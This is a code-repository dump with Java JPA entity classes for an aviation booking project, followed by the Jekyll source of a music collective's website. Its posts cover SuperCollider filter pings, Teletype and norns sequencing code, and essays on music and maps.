this.fechaFin = fechaFin; } public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getNombre() { return nombre; } public void setNombre(String nombre) { this.nombre = nombre; } public Date getFechaInicio() { return fechaInicio; } public void setFechaInicio(Date fechaInicio) { this.fechaInicio = fechaInicio; } public Date getFechaFin() { return fechaFin; } public void setFechaFin(Date fechaFin) { this.fechaFin = fechaFin; } public Modulo getModulo() { return modulo; } public void setModulo(Modulo modulo) { this.modulo = modulo; } @Override public int hashCode() { int hash = 0; hash += (id != null ? id.hashCode() : 0); return hash; } @Override public boolean equals(Object object) { // TODO: Warning - this method won't work in the case the id fields are not set if (!(object instanceof Campaña)) { return false; } Campaña other = (Campaña) object; if ((this.id == null && other.id != null) || (this.id != null && !this.id.equals(other.id))) { return false; } return true; } @Override public String toString() { return "entity.Campa\u00f1a[ id=" + id + " ]"; } }
24fba89559713f86df63728d084265f4e2ba569c
[ "Markdown", "Java" ]
4
Java
muerterauda/iweb
678a9c3a05ac834f2f9f4e5cab2dd5892cdab4f1
6d5bccc89a7d07b6393a1ab35efe40f8bd172ff8
refs/heads/master
<file_sep>package JPAClass; import javax.persistence.DiscriminatorColumn; import javax.persistence.DiscriminatorType; import javax.persistence.Entity; import javax.persistence.Inheritance; import javax.persistence.InheritanceType; @Entity @Inheritance(strategy = InheritanceType.SINGLE_TABLE) @DiscriminatorColumn(name = "titre", discriminatorType = DiscriminatorType.STRING, length = 10) public class abstract Client { @Id @GeneratedValue private long id_Client; private String nom; private int numeroTel; private int numeroFax; private String email; public Client() { } public long getId_Client() { return id_Client; } public void setId_Client(long id_Client) { this.id_Client = id_Client; } public String getNom() { return nom; } public void setNom(String nom) { this.nom = nom; } public int getNumeroTel() { return numeroTel; } public void setNumeroTel(int numeroTel) { this.numeroTel = numeroTel; } public int getNumeroFax() { return numeroFax; } public void setNumeroFax(int numeroFax) { this.numeroFax = numeroFax; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } } <file_sep>package JPAClass; public class CompagnieAerienne { private long id_CompagnieAerienne; private String nom; public CompagnieAerienne(){ } public long getId_CompagnieAerienne() { return id_CompagnieAerienne; } public void setId_CompagnieAerienne(long id_CompagnieAerienne) { this.id_CompagnieAerienne = id_CompagnieAerienne; } public String getNom() { return nom; } public void setNom(String nom) { this.nom = nom; } } <file_sep>package JPAClass; import javax.persistence.DiscriminatorValue; import javax.persistence.Entity; @Entity @DiscriminatorValue("TitreMoral") public class ClientMoral extends Client{ private String siret; public ClientMoral(){ } public String getSiret() { return siret; } public void setSiret(String siret) { this.siret = siret; } } <file_sep>package JPAClass; public class Ville { private long id_Ville; private String nom; public Ville(){ } public long getId_Ville() { return id_Ville; } public void setId_Ville(long id_Ville) { this.id_Ville = id_Ville; } public String getNom() { return nom; } public void setNom(String nom) { this.nom = nom; } } <file_sep>package JPAClass; import javax.persistence.DiscriminatorValue; import javax.persistence.Entity; @Entity @DiscriminatorValue("TitrePhysique") public class ClienPhysique extends Client{ private String prenom; public ClienPhysique() { super(); } public String getPrenom() { return prenom; } public void setPrenom(String prenom) { this.prenom = prenom; } } <file_sep>package JPAClass; public class Aeroport { private long id_Aeroport; private String nom_Aeroport; public long getId_Aeroport() { return id_Aeroport; } public void setId_Aeroport(long id_Aeroport) { this.id_Aeroport = id_Aeroport; } public String getNom_Aeroport() { return nom_Aeroport; } public void setNom_Aeroport(String nom_Aeroport) { this.nom_Aeroport = nom_Aeroport; } } <file_sep>package JPAClass; public class CompagnieAerienneVol { private String numero; public CompagnieAerienneVol(){ } public String getNumero() { return numero; } public void setNumero(String numero) { this.numero = numero; } } <file_sep>package JPAClass; public class Passager { @Id @GeneratedValue private long id_Passager; private String nom; private String prenom; public Passager(){ } public long getId_Passager() { return id_Passager; } public void setId_Passager(long id_Passager) { this.id_Passager = id_Passager; } public String getNom() { return nom; } public void setNom(String nom) { this.nom = nom; } public String getPrenom() { return prenom; } public void setPrenom(String prenom) { this.prenom = prenom; } }
c8ce3aff5a7661951edfe3b5f69ab8b149c3f330
[ "Java" ]
8
Java
SercanOner/projet_aviation
b9234068e75df4ee2a275c967b40efe0c1bcf7fb
1fc7435184d979b4468f290d15e3338200bb9c4f
refs/heads/main
<repo_name>zeke-b/mapcorps.net<file_sep>/_pages/university.md --- layout: university title: University permalink: /university/ ---<file_sep>/README.md ## Tech Stack - [Jekyll](https://jekyllrb.com/docs/installation/) - Follow install instructions here. - [SASS](https://sass-lang.com/install) - Follow install instructions here. - [Bootstrap 4.0.0](https://getbootstrap.com/docs/4.0/getting-started/introduction/) via CDN. - [jQuery 3.2.1](https://jquery.com/) via CDN. ## Local Development Instructions 1. Clone repository to your computer. 2. Using terminal, navigate to the `mapcorps.net` directory with `cd`. 3. In the directory type `bundle exec jekyll serve --baseurl ''`. 4. Visit [http://127.0.0.1:4000](http://127.0.0.1:4000) in your browser. 5. To work with the CSS: `cd assets/stylesheets` and run `sass --watch style.sass:style.css`. Recommended to add to your `.bashrc` / `.zshrc` / etc. Replace paths to repo and browser with your own: ```bash mcup() { cd /path/to/mapcorps.net open -a /Applications/Brave\ Browser.app http://127.0.0.1:4000 bundle exec jekyll serve --baseurl '' } mcsass() { cd /path/to/mapcorps.net/assets/stylesheets sass --watch style.sass:style.css } ``` ## Adding Posts Posts are implemented with [Jekyll posts](https://jekyllrb.com/docs/posts/). Addtional `yml` front matter is added for metatdata. 1. Visit `mapcorps.net/collections/_posts`. 2. Copy the latest `.md` files and rename to today's date, followed by your post title. This will become the "permalink" for the post. 3. Update the info in the frontmatter. Be sure to increment the `content_id` - this is what is used to generate the post numbers on the `/university` page. ## Adding Pages Just add a new `your-page-name.md` file in the `_pages` directory. At the top of the file, add this "frontmatter": ``` --- layout: page title: "your page name" permalink: /your-page-name/ --- ``` This is where you configure the page title and permalink. They can be anything you want.<file_sep>/_posts/2021-06-20-1-filter-ping-sc.md --- layout: post title: "Strikes and Resonance" date: 2021-06-20 content_id: 5 author: "Ryan" type: "Praxis" ascii: "+" x: 2 y: 2 class: red attributes: ["filter", "resonance", "comb", "karplus-strong"] --- Pinging resonant bandpass, low pass, or high pass filters creates a sine-like ringing as the filter sculpts an incoming peak into its native rippling, just as the surface of a pond does to sudden interruption by a rock. The relationship of a quick strike agitating a vibrating, ringing body can be found in abundance elsewhere in the physical and sonic universe. ## SuperCollider Example One: Two sides of a coin ![Filter Ping IRL](/assets/content/sc-pings-scope.png) Here is an example in SuperCollider of a [pinged filter](#4) alongside a simple [Karplus-Strong](https://en.wikipedia.org/wiki/Karplus%E2%80%93Strong_string_synthesis) model. The two filters differ both in ringing and excitation. The mix between is controlled by the X-axis of the mouse, so the further left, the more bandpass filter, and the less the comb filter. ```SuperCollider ({ // variables var trig, note, env, fade, bpf, comb; // rhythm: 8th notes @ 120bpm trig = Impulse.kr(4); // note: randomly, from a scale note = Demand.kr(trig: trig, reset: 0, demandUGens: Drand( list: [48,60,72] +.x [0,2,7,9], // 3 octaves repeats: inf)); // exciter: a simple, fast envelope env = EnvGen.ar( envelope: Env.perc( releaseTime: 0.01, level: 50, curve: 0), gate: trig); // mix control: mouse fade = MouseX.kr(minval: 0, maxval: 1); // filters: bandpass + comb bpf = Resonz.ar( in: env, freq: note.midicps, bwr: 0.01, // lower is ringier mul: (1 - fade) * 5).tanh; // soft clip comb = CombL.ar( in: env * PinkNoise.ar(0.03), delaytime: note.midicps.reciprocal, decaytime: 0.5, mul: fade * 0.2); // output: sum, remove bias, stereoize LeakDC.ar(bpf + comb) ! 2 }.scope); ``` <audio controls src="/assets/content/sc-pings-1.mp3"></audio> ## SuperCollider Example Two: Geometric Ripples This example uses the same filter types, but there are some important differences: 1. The bpf is now in serial before the comb. 2. The comb is now tuned statically to 55Hz. 3. The bpf now plays harmonics of 55Hz. ```SuperCollider ({ // variables var trig, harmonic, env, bpf, comb; // rhythm: 8th notes @ 120bpm trig = Impulse.kr(4); // harmonics: random from 1 to 12 harmonic = Demand.kr(trig: trig, reset: 0, demandUGens: Diwhite(lo: 1, hi: 12, length: inf)); // exciter: a simple, fast envelope env = EnvGen.ar( envelope: Env.perc( releaseTime: 0.001, level: 50, curve: 0), gate: trig); // filters: bandpass, comb bpf = Resonz.ar( in: env, freq: 55 * harmonic, bwr: 0.1, mul: 0.2 ); comb = CombL.ar( in: bpf, delaytime: 55.reciprocal, decaytime: 1); // output: soft-clip, remove bias, stereoize LeakDC.ar(comb).tanh ! 2 }.scope); ``` <audio controls src="/assets/content/sc-pings-2.mp3"></audio> ## SuperCollider Example Three: Simple Allpass Reverb This example is quite a bit different from the other two. Now, the tuning is completely random, and instead of a bandpass or comb filter, we have 10 allpass filters. This creates a primitive reverb. As in the first example, the mouse X axis controls the audio - this time, it is the maximum length of the allpass delay, as sampled each strike. This sounds much different from the previous two but is another example of a strike exciting a resonator to create a percussive sound with a natural decay. ```SuperCollider ({ // variables var trig, reverb, maxTime; // rhythm: once every four seconds trig = Impulse.kr(1/4); // maxTime: sampled on each strike maxTime = MouseX.kr(minval: 0.001, maxval: 0.2, warp: 1); // filters: allpass reverb = Mix.ar(((1..10)).collect({ var delayTime = Demand.kr( trig: trig, reset: 0, demandUGens: Dwhite(lo: 0.01, hi: maxTime)); var pan = Demand.kr( trig: trig, reset: 0, demandUGens: Dwhite(lo: -1, hi: 1)); var filter = AllpassC.ar( in: trig, delaytime: delayTime, decaytime: 4); Pan2.ar(in: filter, pos: pan, mul: 2); })); // amplify reverb = reverb * 5; // output: mix, soft clip (reverb + trig).tanh; }.scope); ``` <audio controls src="/assets/content/sc-pings-3.mp3"></audio> ## Observations * How do the filters' timbre differ? * How do the filters' low/high end differ? * How do the filters' dynamics differ? * How does their behavior change based on frequency? * How does seeing or hiding the scope feel different? * What other configurations come to mind?<file_sep>/_posts/2021-06-19-1-awashed-ashore.md --- layout: post title: "Awashed Ashore" date: 2021-06-19 content_id: 1 author: "Tyler" type: "Autofiction" ascii: "@" x: 2 y: 29 class: green attributes: ["hydrogen", "argon", "helium", "oxygen"] --- Awashed ashore this island of stability, I blinked in the iridium light. Our waterlogged map slowly curling in the dry heat, old scribblings of trigonometry fading. "It is done with a [filter ping](#4)," Trent said, and summoned thunder in that cloudless sky. ![Filter Ping](/assets/content/filter-ping.jpg) Ryan was tracking at a different frame-rate than I, but that was precisely why we are a team. New paradigms require new tactics. And here, at the University of Maps, new paradigms abound. How many more still remained unwritten? > Indeed, time slippage is a phenomenon frequently encountered by synthesists, both within the machine and without. There were still many weeks ahead, but already it felt as though we had been on this journey for a millennium. And perhaps we had. Indeed, time slippage is a phenomenon frequently encountered by synthesists, both within the machine and without. "I am not a tinkerer," I said, "I need an objective. These tools are means to an ends. While I enjoy the medium and materials, ultimately I aspire to create from a place of authenticity, emotion, and a sensation of just barely having my instrument under control." My words were recorded to the cloud, for my future self to analyze. "Hello, future Tyler," I said. He did not respond.<file_sep>/_posts/2021-07-31-1-the-stump-fiddle.md --- layout: post title: "The Stump Fiddle" date: 2021-07-31 content_id: 14 author: "Tyler" type: "Autofiction" ascii: "V" x: 3 y: 17 class: victoria attributes: ["time", "crystal"] --- With [Asteroid 12 Victoria at opposition][ref1] Ryan, Trent, and I once again instantiated a digital island. A bittersweet wind. The air of closure. ![Out Where The West Begins](/assets/content/the-stump-fiddle-out-where-the-west-begins.jpg) --- ## Functional Music Sometimes music is functional. We spoke of the albums sacrificed to aid with tasks such as coding or manual labor. Difficult to enjoy in any other context, those albums. The brain's plasticity is no match for the Pavlovian paths. ![Vamps](/assets/content/the-stump-fiddle-vamps.jpg) I fell asleep to [Vamps by Celer][ref3] almost every night in 2020. I only half-jokingly called it my "anti-psychotic." --- ## Spiritual Music Sometimes music is spiritual. I have long known that I use music as a medium to transmute, filter, express, and share aspects of myself. Feelings and thoughts and stories that cannot be articulated with the only spoken language I know. <iframe width="560" height="315" src="https://www.youtube.com/embed/CKAc3nYEatw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> People listen to [10 hour loops of Aquatic Ambiance][ref2]. Why? --- ## Folk ![Grandpa Biff Etters](/assets/content/the-stump-fiddle-grandpa-biff-etters.jpg) *<NAME>, The First and Last Stump Fiddlist* In the past, grandpa played the stump fiddle. He taught songs to the kids. Meanwhile, record labels sought out talent. The age of recorded music. The kids forgot the songs and listened to the radio. Folk music gave way to pop. Later, record labels engineered talent. "Which among our ~~products~~ artists are going to yield ROI?" Even later, technology democratized *recorded* music-making for the grandkids. The rise of bedroom studios has given rise a new type of folk. SoundCloud folk, if you will. In the future, grandpa will play the stump fiddle to the grandkids, again. --- At some point in the 20th century, "folk" music became a sound, a genre. It is not. Folk music is: > [...] music transmitted orally, music with unknown composers, music that is played on traditional instruments, music about cultural or national identity, music that changes between generations (folk process), music associated with a people's folklore or music performed by custom over a long period of time. &mdash; [Wikipedia][ref4] The personal computer is the latest in the canon of traditional instruments. Folk music is anarchist music. It is/was/will-be-again bottom-up, self-selected patterns, cues, stories, techniques, and principals the community values enough to pass through time. Lo-fi hip hop beats to get meta/draw maps to. `JF.MODE 1`. Mapcore is folk music. --- ## What if there was no music? Scenario A - Everyone becomes deaf with the [peal of a bell][ref5]. Scenario B - Music never developed and has never been considered a "thing to do" on earth. In either scenario, what would you be doing instead? Why music? Why the obsession? Why the pleasure? Why the curiosity? How many hours a week do you spend writing music? Listening to music? Making code that makes music? Why do we do this? What would you be doing with yourself if music vanished? What hints might that hold about your life now? --- ``` Our time was up, the island dissolved, And I was once again alone, looking at the scheduled events of the day. Zoom's calcium-white and Silicon-Valley-blue, a grotesque approximation of the summer sky. ``` [ref1]: https://in-the-sky.org/news.php?id=20210730_14_100 [ref2]: https://sites.psu.edu/siowfa16/2016/10/08/the-effect-of-aquatic-ambiance/ [ref3]: https://celer.bandcamp.com/album/vamps [ref4]: https://en.wikipedia.org/wiki/Folk_music [ref5]: https://en.wikipedia.org/wiki/Peal<file_sep>/_posts/2021-06-27-1-queer-messy-maps.md --- layout: post title: "Queer Messy Maps" date: 2021-06-27 content_id: 9 author: "<NAME>" type: "Theory" ascii: "!" x: 4 y: 4 class: red attributes: ["queer", "timemap", "spacemap", "weathermap"] --- > "A mess can be what does not appear." > > &mdash; <NAME>, ["A Mess as a Queer Map"](https://feministkilljoys.com/2020/12/23/a-mess-as-a-queer-map/) A map might suggest possible destinations, but there is no promise that you'll arrive or that your destination might not change along the way. Travel is messy; Straight lines and Straight time are constructions, elisions of lived experience. ## Weathermaps ![Weather](/assets/content/queery-messy-maps-weather.png) The wizards of weather tracking covet their esoteric maps. This map describes 7 AM. At 8 AM, the map is no longer relevant. --- ## Euromaps ![Eurorack](/assets/content/queery-messy-maps-euro.jpg) The modular synth patch can be similarly fleeting. It is a moment in time, it spans a geography but it shifts with the sands in the hourglass. Like the weathermap, it is esoteric, yet even the human hands that drew it may not fully grasp what it describes. "This is a mess!" said with derision, or with delight. > "Perhaps a mess can be how we meet. Mess as meeting; mess as eating. The word mess derives from the old French mes; a portion of food, a course at dinner. To share a mess can be to share a meal. Can we share a meal, sustain each other, be sustained by each other, without meeting in person? > > [...] > > A mess can be a picture of life." > > &mdash; <NAME>, Ibid. --- ## Telemaps Mapcore can be many things to many people. To most people, it is no thing. Let's look at maps in Teletype: ![Journal](/assets/content/queery-messy-maps-journal.jpg) This map describes a recursive script designed using `DEL X: $ $` and `EVERY Y: BREAK` (foundational mapcore sacred knowledge `*`) to play itself for exactly 20 minutes and then stop. > `*` "sacred" but not "secret" — SHOW UR SCREENS. Mapcore is esoteric but not exclusionary, one of its many ironies and contradictions. The first map that was drawn was in Teletype — tracing the recursive scripts from one to the next as they call each other successively and recursively. These traces were drawn by hand, surely the cartographer knows the way? Not so. The way was obscure, the time to the destination was always different, never adding up to the cartographer's calculations. So the mapmaker set about making another map, seen on the right side of the image — these are the eight locations, how do we get from one to the next and back again, and how long does it take? Something was revealed in the spatial map, but no answers. A timemap was next (on the left), which similarly revealed something, but no answers. A linear map can only hint at a nonlinear destination — note the "???" as the cartographer loses the trace — HERE BE DRAGONS. There is something intrinsic to queerness in accepting fluidity and change, understanding self and identity as something that morphs over time and shapes and is shaped by experiences, rather than being a single thing set in stone over a lifetime. Imagine Mapcore, like identity, as an undefineable and ever unfinished journey rather than a destination. Maps that are more about imagining things in space, and illustrating the fluidity of space, rather than treasure map style [YOU are here: THIS is the destination]. Those treasure maps are a Hollywood construction — after all, wasn't the real treasure the friends we made along the way? <iframe width="560" height="315" src="https://www.youtube.com/embed/omlUyD5boXc" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen class="youtube-iframe"></iframe> --- ## Sour Spots An exploration of the 'sour spots' mapcore technique, using teletype and grid cyclical sequencer. Try it yourself: 1. Take your favorite oscillator. 2. Instead of the usual sweet spots you know and love, find the sour spots. Make a noise you don't like. 3. Make a track from this sound. Here, I am using the cyclical sequencer scene to trigger various fifths and octave notes from JF, which is set to a low enough octave that the lowest notes are almost sub audio, and the ramp and FM dials are finding a perfect sour spot of cacophonous FM. I made this sound. It was Nasty. Not in a good way. I didn't like it. This is then sent to [Clouds](https://mutable-instruments.net/modules/clouds/), which adds extra glitching. I am manipulating the trigger patterns and pattern lengths of the four sequencer channels in real time. There is something about queerness that embraces the sour spots, the messes, the places on the map where some might be lost, others can be found — homes can be found. --- ## Queermaps > "[...] queer maps are useful to queer people because they tell us where to go to find queer places [...]" <NAME>, again: "What we find, how we find: queer maps are useful to queer people because they tell us where to go to find queer places, places that come and go, providing temporary shelters, gay bars can be our nests. We need queer spaces because we need not to be displaced by how organisations, also worlds, are occupied; yes, compulsory heterosexuality can still take up space; time, too. If queer maps are useful because they tell us where to go to find queer spaces, queer maps are also created by use. Perhaps those messy lines are also desire lines that tell us where we have been, what we found, who we found, by going that way, by not following the official paths we are told would have opened doors or eased our progression." Make an unpleasant sound, tangle an unintelligible knot, make a huge mess and give yourself the time and space to explore it. This may or may not be mapscore.<file_sep>/_posts/2021-07-18-1-accelerando-heat-death.md --- layout: post title: "Accelerando Heat Death" date: 2021-07-18 content_id: 13 author: "Ben" type: "Praxis" ascii: "B" x: 0 y: 17 class: neutrino attributes: ["tempo", "metro", "haiku", "generative"] --- As the universe expands, iterations of its thermodynamic swan song are simultaneously calculated and performed by Galaxy Clusters 1 through 6, accelerando. A generative mixolydian ode to the axiom that everything that begins, so too, must end. A firm nod to Telepoet `@scannerdarkly` and the Map Corps. Paired for Just Friends, but easily reinvisioned. ![CC Nebula](/assets/content/accelerando-heat-death-cc-nebula.jpg) ![Heat Death Dotgrid](/assets/content/accelerando-heat-death-dotgrid.png) Above: A beautiful nebula via NASA and Heat Death imagined in [Dotgrid](https://hundredrabbits.itch.io/dotgrid). --- ## Ingredients 1. Teletype 2. Just Friends 3. Audio interface With Teletype and Just Friends connected via i2c, simply patch the MIX output to your audio interface. This is a 'dry' patch. Ideas for a 'wet' patch are captured below. --- ## The Code In live mode on Teletype, please begin by activating `JF.MODE 1`. Then enter the following in the `METRO` / `M` script: ``` #M IF EQ M 30: JF.VOX 0 0 0; KILL K RRND 2 10; A M; B RRND 1 6 J QT.S N RRND K 36 0 7; CV 1 J M + -1 M; M WRAP M 30 500 SKIP K: JF.VOX B J V K PROB K: JF.SHIFT V TOSS ``` --- ## Play `ctrl + f9` reincarnates the heat death experience. Each tick of the metro counts the starting tempo backwards from `500` to `30` (slower heat deaths replicable at user's own discretion), at which point maximum entropy is achieved and the Universe can now longer sustain its expansion. The Teletype HUD (toggled via the `~` key) lets users track the countdown to death through the scope of `A`, while `B` corresponds to the current Galaxy Cluster in performance. Teletype's `CV 1` is designed to assist the modulation of Galaxy Clusters' frequency. For greater sense of ennui, this experiment sounds best carried out through an emulation of the echo of space, shit tons of space. <iframe width="560" height="315" src="https://www.youtube.com/embed/3n9bYyZ9K1U" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> This performance routes the 6 Just Friends voice outputs summed in [Nearness](https://www.modulargrid.net/e/takaab-nearness), warmed via a [Mini Drive](https://www.modulargrid.net/e/music-thing-modular-mini-drive), while [Clouds](https://www.modulargrid.net/e/mutable-instruments-clouds) and [Lubadh](https://www.modulargrid.net/e/instruo-lubadh) add decaying tape repeats. <file_sep>/_posts/2021-06-19-2-one-face.md --- layout: post title: "One Face" date: 2021-06-19 content_id: 2 author: "Ryan" type: "Autofiction" ascii: "$" x: 2 y: 5 class: red attributes: ["carbon", "plutonium"] --- One face, then two, then three. The ideal count of load-bearing vectors. With an unhurried gesture, the light moves slightly, bringing into relief friendly contours. "Now I exist." Verbal handshake, clock synchronization, report of specific musical queries: - Ryan, reacquaint with the horizon line. - Tyler, maintain the emotional urgency of the edge. - Trent, find the pattern and fun in the intuition. These thoughts give us energy: live coding as a concept, playing on the edge of our ability, creating and sharing a good time, portable systems and concepts, knowing just enough. We relish the homework. Trent describes the ensemble: - A bass drum. - A snare. - Two toms, which are kind of really just bass drums. - A noise thing that ended up being more of a kick. - [w/](https://www.whimsicalraps.com/products/wslash) as a synth. The bass drum and toms are from sister bands. [A friendly blade excites them with just one softened corner. We watch one sister imprint her ripple on this excitation. This ripple changes shape, fades in proportion to the excitation.](#4) Trent describes recent live codings: triggering "longer samples" as opposed to one-shots... > Ryan silently wonders: are these like loops, maybe slices? Does a network of hidden parameters depend on when triggers arise? Is this sequencing sequences? Sequencing sequencers? ... Now we see the field, a geometric playground of aluminum, punctuated by inlets, outlets, corpora parametric. A golf course for tiny aliens. On this field lives the snare. We listen to a pinkened transistor avalanche, through a gate, As relayed by a different trio of sister filters. These sisters are attracted and repelled in equidistance, as semaphored by another curve. We compare pinkened and unpinkened avalanches. Trent points out that the pinkened ones have inherent chaos and stronger bias and that is more interesting within percussion. The avalanches, as the sisters and gates relay them, sound something like a space. A trick of the mind’s ear. Just as the hour bottoms out, Trent summons an unfurling semi-fractal of undertones. We postpone unpacking this magic in deference to a quick discussion closer to the horizon line. Smaller sub-systems are easier to interact with. Simple building blocks are the design philosophy. Strap these into the harness that makes the most sense.<file_sep>/_posts/2021-07-17-1-sequins.md --- layout: post title: "Sequins" date: 2021-07-17 content_id: 12 author: "Tyler" type: "Praxis" ascii: "^" x: 3 y: 11 class: black attributes: ["crow", "sequins"] --- Both [crow](https://monome.org/docs/crow) and [norns](https://monome.org/docs/norns) use [Lua](https://www.lua.org/). [sequins](https://monome.org/docs/crow/reference/#sequins) is a new feature in [crow 3.0](https://llllllll.co/t/46425) that I find very exciting. Today I'm going to port it over to norns. First step is to review the existing code here: [https://github.com/monome/crow/blob/main/lua/sequins.lua](https://github.com/monome/crow/blob/main/lua/sequins.lua). At first glance it appears as though it can be straight up copy-pasta'd. Let's try it... <iframe src="https://player.twitch.tv/?video=1089886470&parent=mapcorps.net" class="twitch-iframe" frameborder="0" allowfullscreen="true" scrolling="no"></iframe> Turns out the code works without any changes whatsoever. Here's a sequin(ce) you can use: ``` s{ s{0,12,0,0}, s{1,2,2,4,2,4,2,4,6,2,6,4,2,4,6,6,2,6,4,2,6,4,6,8,4,2,4,2,4,14,4,6,2,10,2,6,6,4,6,6,2,10,2,4,2,12,12,4,2,4,6,2,10,6,6,6,2,6,4,2,10,14,4,2,4,14,6,10,2,4,6,8,6,6,4,6,8,4,8,10,2,10,2,6,4,6,8,4,2,4,12,8,4,8,4,6,12}:step(s{3,5,7}), s{0,0,12,0}, s{0,0,1,0,2,1,3,0,4,2,5,1,6,3,7,0,8,4,9,2,10,5,11,1,12,6,13,3,14,7,15,0,16,8,17,4,18,9,19,2,20,10,21,5,22,11,23,1,24,12,25,6,26,13,27,3,28,14,29,7,30,15,31,0,32,16,33,8,34,17,35,4,36,18,37,9,38,19,39,2,40,20,41,10}:step(1,2,3), s{0,0,0,12}, s{0,1,1,1,1,0,1,1,1,2,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,3,0,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,2,2,0,1,1,0,1,1,3,1,0,0,2,1,0,1,2,0,0,1,0,0,0,0,2,1,0,1,1,0,0,1,0,3,0,0,6,0,0,0,0,0,0,4,0,1,0,0,3,1,0,0,1,0,1,1,1,0,0,0,3,1,3,1,3,0,0,0,0,2,0,0,3,1,0,0,1,1,0,1,4,1,0,0,0,2,0,0,0,0,0,1,0,0,0,0,2,0,0,2,1,0,0,1}:step(13,15,16), s{12,0,0,0}, 0, 3, 7, 0, 3, s{7,5}, 0, 3, s{5,7}, } ``` It is based on these data sets: - [https://oeis.org/A059282/list](https://oeis.org/A059282/list) - [https://oeis.org/A025480/list](https://oeis.org/A025480/list) - [https://oeis.org/A001223/list](https://oeis.org/A001223/list) --- At some point in the future sequins may be merged into the norns core. Until then, you can [copy and paste this file directly into a norns script and it will work just fine.](https://github.com/monome/crow/blob/34ce1e455f01fdef65a0d37aa97163b4cd14a115/lua/sequins.lua) Then invoke like this: ``` -- copy and pasted sequins code from link above goes here -- then something like this: lattice = require "lattice" MusicUtil = require "musicutil" engine.name = "PolyPerc" payload = s{ s{0,12,0,0}, s{1,2,2,4,2,4,2,4,6,2,6,4,2,4,6,6,2,6,4,2,6,4,6,8,4,2,4,2,4,14,4,6,2,10,2,6,6,4,6,6,2,10,2,4,2,12,12,4,2,4,6,2,10,6,6,6,2,6,4,2,10,14,4,2,4,14,6,10,2,4,6,8,6,6,4,6,8,4,8,10,2,10,2,6,4,6,8,4,2,4,12,8,4,8,4,6,12}:step(s{3,5,7}), s{0,0,12,0}, s{0,0,1,0,2,1,3,0,4,2,5,1,6,3,7,0,8,4,9,2,10,5,11,1,12,6,13,3,14,7,15,0,16,8,17,4,18,9,19,2,20,10,21,5,22,11,23,1,24,12,25,6,26,13,27,3,28,14,29,7,30,15,31,0,32,16,33,8,34,17,35,4,36,18,37,9,38,19,39,2,40,20,41,10}:step(1,2,3), s{0,0,0,12}, s{0,1,1,1,1,0,1,1,1,2,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,3,0,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,1,0,0,2,2,0,1,1,0,1,1,3,1,0,0,2,1,0,1,2,0,0,1,0,0,0,0,2,1,0,1,1,0,0,1,0,3,0,0,6,0,0,0,0,0,0,4,0,1,0,0,3,1,0,0,1,0,1,1,1,0,0,0,3,1,3,1,3,0,0,0,0,2,0,0,3,1,0,0,1,1,0,1,4,1,0,0,0,2,0,0,0,0,0,1,0,0,0,0,2,0,0,2,1,0,0,1}:step(13,15,16), s{12,0,0,0}, 0, 3, 7, 0, 3, s{7,5}, 0, 3, s{5,7}, } function init() current = "" offset = 60 is_screen_dirty = true ticks = 0 draw_loop_id = clock.run(draw_loop) aaa_lattice = lattice:new() aaa_lattice:new_pattern{ action = function(t) event(t) end, division = 1/4, enabled = true } aaa_lattice:start() end function event() ticks = ticks + 1 current = payload() engine.hz(MusicUtil.note_num_to_freq(current + offset)) is_screen_dirty = true end function redraw() screen.clear() screen.level(15) screen.font_size(8) screen.font_face(1) screen.move(10, 10) screen.text("T = " .. ticks) screen.move(10, 20) screen.text("SEQUINS = " .. current) screen.move(10, 30) screen.text("NOTE = " .. MusicUtil.note_num_to_freq(current + offset)) screen.update() end function draw_loop() while true do check_screen() clock.sleep(1 / 15) end end function check_screen() if is_screen_dirty then redraw() is_screen_dirty = false end end function rerun() norns.script.load(norns.state.script) end function r() rerun() end ``` <file_sep>/_posts/2021-08-01-1-turing-the-tonality-diamonds.md --- layout: post title: "Turing the Tonality Diamonds" date: 2021-08-01 content_id: 15 author: "Naomi" type: "Praxis" ascii: "W" x: 5 y: 7 class: diamond attributes: ["just", "intonation"] --- Adrift on the waves, it just so happened that my boat began rocking in a most delightful manner — rich and yet simple, four smaller crests matched against three larger crests, again and again, then rougher, seven smaller crests for every five larger ones, and then I was thrust ashore on the beach of an island I had not heard the like of before. --- ## Between a Frequency When you pluck a string, or blow into a wind instrument, it vibrates. Not only does it vibrate in the pitch you hear, it also vibrates in multiples of that — twice the frequency, thrice it, four times it, and so on. When we hear multiple frequencies at once, we tend to perceive them as "consonant" (con "same"; sonant "sounding") when the number of waves in a period of time is related like a string or wind instrument's harmonics, by some relatively simple fraction (see also Trent's [map](https://www.youtube.com/watch?v=_xw_x4xREGk)) — for example, when there are three waves of this sound in the time it takes to make two waves of that sound, your human (editor: mostly human?) brain perceives them as if they could be part of the same sound, and so they sound "consonant"; they seem like a place you could musically rest. The more high factors you need for your fraction — seven, say, or 11, or even *two* factors of seven (gasp!) the more dissonant (dis- "apart" sonant "sounding") you're likely to find that interval. You can pretty much include as many factors of two as you want, either in the numerator (o(ver)tonality!) or denominator (u(nder)tonality!) for free and your fraction stays equally consonant (or dissonant). --- _The well-traveled territory of pitch takes the space between a frequency and double that frequency , and divides it into twelve even slices. Take your first frequency and multiply it by the twelfth root of two, you get a "half step" up. Do that eleven more times, and you've multiplied by the twelfth root of two to the power of twelve, and you've got an octave. This is called Equal Temperament._ ![Root and Octave](/assets/content/turing-the-tonality-diamonds-root-and-octave.png) ``` SinOsc.kr([1,2]) ``` > "In tune" joins gender, government, and marriage as a social construct, though by claiming something a social construct I don't cast any doubt on its reality. _Equal temperament was initially a simulation, a compromise approximation of musical pitch to allow making a wide variety of consonant intervals starting at any given pitch in the system. From any note in equal temperament you can find 2^(7/12)=1.49830707688 up from it — very close, but not exactly, 3/2, a perfect fifth. You can find 2^(3/12)=1.189207115 — somewhat close, and less exactly 6/5, a minor third. It's not the justly intoned ratios, but at this point most people who listen to it are so used to it they may culturally consider it more consonant than the just tuning. "In tune" joins gender, government, and marriage as a social construct, though by claiming something a social 